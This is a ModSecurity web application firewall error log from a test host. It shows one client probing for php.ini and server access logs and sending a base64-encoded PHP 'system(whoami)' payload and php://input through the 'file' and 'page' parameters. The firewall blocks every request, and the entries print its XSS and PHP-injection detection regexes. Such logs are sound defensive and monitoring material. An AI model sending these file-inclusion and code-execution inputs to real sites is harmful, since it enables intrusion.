[Sun Mar 01 20:25:55.145580 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/php.ini&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH0QAAAAg&quot;]
[Sun Mar 01 20:25:55.145749 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/php.ini&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH0QAAAAg&quot;]
[Sun Mar 01 20:25:55.167841 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/apache2/access.log&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH0gAAAAg&quot;]
[Sun Mar 01 20:25:55.168462 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/apache2/access.log&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH0gAAAAg&quot;]
[Sun Mar 01 20:25:55.168667 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/apache2/access.log&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH0gAAAAg&quot;]
[Sun Mar 01 20:25:55.190868 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/nginx/access.log&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH0wAAAAg&quot;]
[Sun Mar 01 20:25:55.191419 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/nginx/access.log&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH0wAAAAg&quot;]
[Sun Mar 01 20:25:55.191594 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/nginx/access.log&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH0wAAAAg&quot;]
[Sun Mar 01 20:25:55.236960 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/php.ini&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH1QAAAAg&quot;]
[Sun Mar 01 20:25:55.237495 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/php.ini&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH1QAAAAg&quot;]
[Sun Mar 01 20:25:55.237658 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/php.ini&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH1QAAAAg&quot;]
[Sun Mar 01 20:25:55.259708 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/apache2/access.log&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH1gAAAAg&quot;]
[Sun Mar 01 20:25:55.260199 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/apache2/access.log&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH1gAAAAg&quot;]
[Sun Mar 01 20:25:55.260353 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/apache2/access.log&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH1gAAAAg&quot;]
[Sun Mar 01 20:25:55.282408 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/nginx/access.log&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH1wAAAAg&quot;]
[Sun Mar 01 20:25:55.282897 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/nginx/access.log&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH1wAAAAg&quot;]
[Sun Mar 01 20:25:55.283050 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/nginx/access.log&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH1wAAAAg&quot;]
[Sun Mar 01 20:25:55.305633 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:file. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data: ;base64 found within ARGS:file: data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/XSS&quot;] [tag &quot;WASCTC/WASC-8&quot;] [tag &quot;WASCTC/WASC-22&quot;] [tag &quot;OWASP_TOP_10/A3&quot;] [tag &quot;OWASP_AppSensor/IE1&quot;] [tag &quot;CAPEC-242&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH2AAAAAg&quot;]
[Sun Mar 01 20:25:55.305702 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Pattern match &quot;(?i)(?:\\\\W|^)(?:javascript:(?:[\\\\s\\\\S]+[=\\\\\\\\(\\\\[\\\\.&lt;]|[\\\\s\\\\S]*?(?:\\\\bname\\\\b|\\\\[ux]\\\\d))|data:(?:(?:[a-z]\\\\w+\\\\/\\\\w[\\\\w+-]+\\\\w)?[;,]|[\\\\s\\\\S]*?;[\\\\s\\\\S]*?\\\\b(?:base64|charset=)|[\\\\s\\\\S]*?,[\\\\s\\\\S]*?&lt;[\\\\s\\\\S]*?\\\\w[\\\\s\\\\S]*?&gt;))|@\\\\W*?i\\\\W*?m\\\\W*?p\\\\W*? ...&quot; at ARGS:file. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;247&quot;] [id &quot;941170&quot;] [msg &quot;NoScript XSS InjectionChecker: Attribute Injection&quot;] [data &quot;Matched Data: data:text/plain; found within ARGS:file: data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/XSS&quot;] [tag &quot;WASCTC/WASC-8&quot;] [tag &quot;WASCTC/WASC-22&quot;] [tag &quot;OWASP_TOP_10/A3&quot;] [tag &quot;OWASP_AppSensor/IE1&quot;] [tag &quot;CAPEC-242&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH2AAAAAg&quot;]
[Sun Mar 01 20:25:55.305989 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH2AAAAAg&quot;]
[Sun Mar 01 20:25:55.306151 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=10,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH2AAAAAg&quot;]
[Sun Mar 01 20:25:55.328414 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Pattern match &quot;(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)&quot; at ARGS:file. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;] [line &quot;199&quot;] [id &quot;933140&quot;] [msg &quot;PHP Injection Attack: I/O Stream Found&quot;] [data &quot;Matched Data: php://input found within ARGS:file: php://input&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-php&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-injection-php&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/PHP_INJECTION&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH2QAAAAg&quot;]
[Sun Mar 01 20:25:55.328718 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH2QAAAAg&quot;]
[Sun Mar 01 20:25:55.328874 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH2QAAAAg&quot;]
[Sun Mar 01 20:25:55.351302 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:page. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data: ;base64 found within ARGS:page: data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/XSS&quot;] [tag &quot;WASCTC/WASC-8&quot;] [tag &quot;WASCTC/WASC-22&quot;] [tag &quot;OWASP_TOP_10/A3&quot;] [tag &quot;OWASP_AppSensor/IE1&quot;] [tag &quot;CAPEC-242&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH2gAAAAg&quot;]
[Sun Mar 01 20:25:55.351366 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Pattern match &quot;(?i)(?:\\\\W|^)(?:javascript:(?:[\\\\s\\\\S]+[=\\\\\\\\(\\\\[\\\\.&lt;]|[\\\\s\\\\S]*?(?:\\\\bname\\\\b|\\\\[ux]\\\\d))|data:(?:(?:[a-z]\\\\w+\\\\/\\\\w[\\\\w+-]+\\\\w)?[;,]|[\\\\s\\\\S]*?;[\\\\s\\\\S]*?\\\\b(?:base64|charset=)|[\\\\s\\\\S]*?,[\\\\s\\\\S]*?&lt;[\\\\s\\\\S]*?\\\\w[\\\\s\\\\S]*?&gt;))|@\\\\W*?i\\\\W*?m\\\\W*?p\\\\W*? ...&quot; at ARGS:page. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;247&quot;] [id &quot;941170&quot;] [msg &quot;NoScript XSS InjectionChecker: Attribute Injection&quot;] [data &quot;Matched Data: data:text/plain; found within ARGS:page: data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/XSS&quot;] [tag &quot;WASCTC/WASC-8&quot;] [tag &quot;WASCTC/WASC-22&quot;] [tag &quot;OWASP_TOP_10/A3&quot;] [tag &quot;OWASP_AppSensor/IE1&quot;] [tag &quot;CAPEC-242&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH2gAAAAg&quot;]
[Sun Mar 01 20:25:55.351621 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH2gAAAAg&quot;]
[Sun Mar 01 20:25:55.351782 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=10,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH2gAAAAg&quot;]
